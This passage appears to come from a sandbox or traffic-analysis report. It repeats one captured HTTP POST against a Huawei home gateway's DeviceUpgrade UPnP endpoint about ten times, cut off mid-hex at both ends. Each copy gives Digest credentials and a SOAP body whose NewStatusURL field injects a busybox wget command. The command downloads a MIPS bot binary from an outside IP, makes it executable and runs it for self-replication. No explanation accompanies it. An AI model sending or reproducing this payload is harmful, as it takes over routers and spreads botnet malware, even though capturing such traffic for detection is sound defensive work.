2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 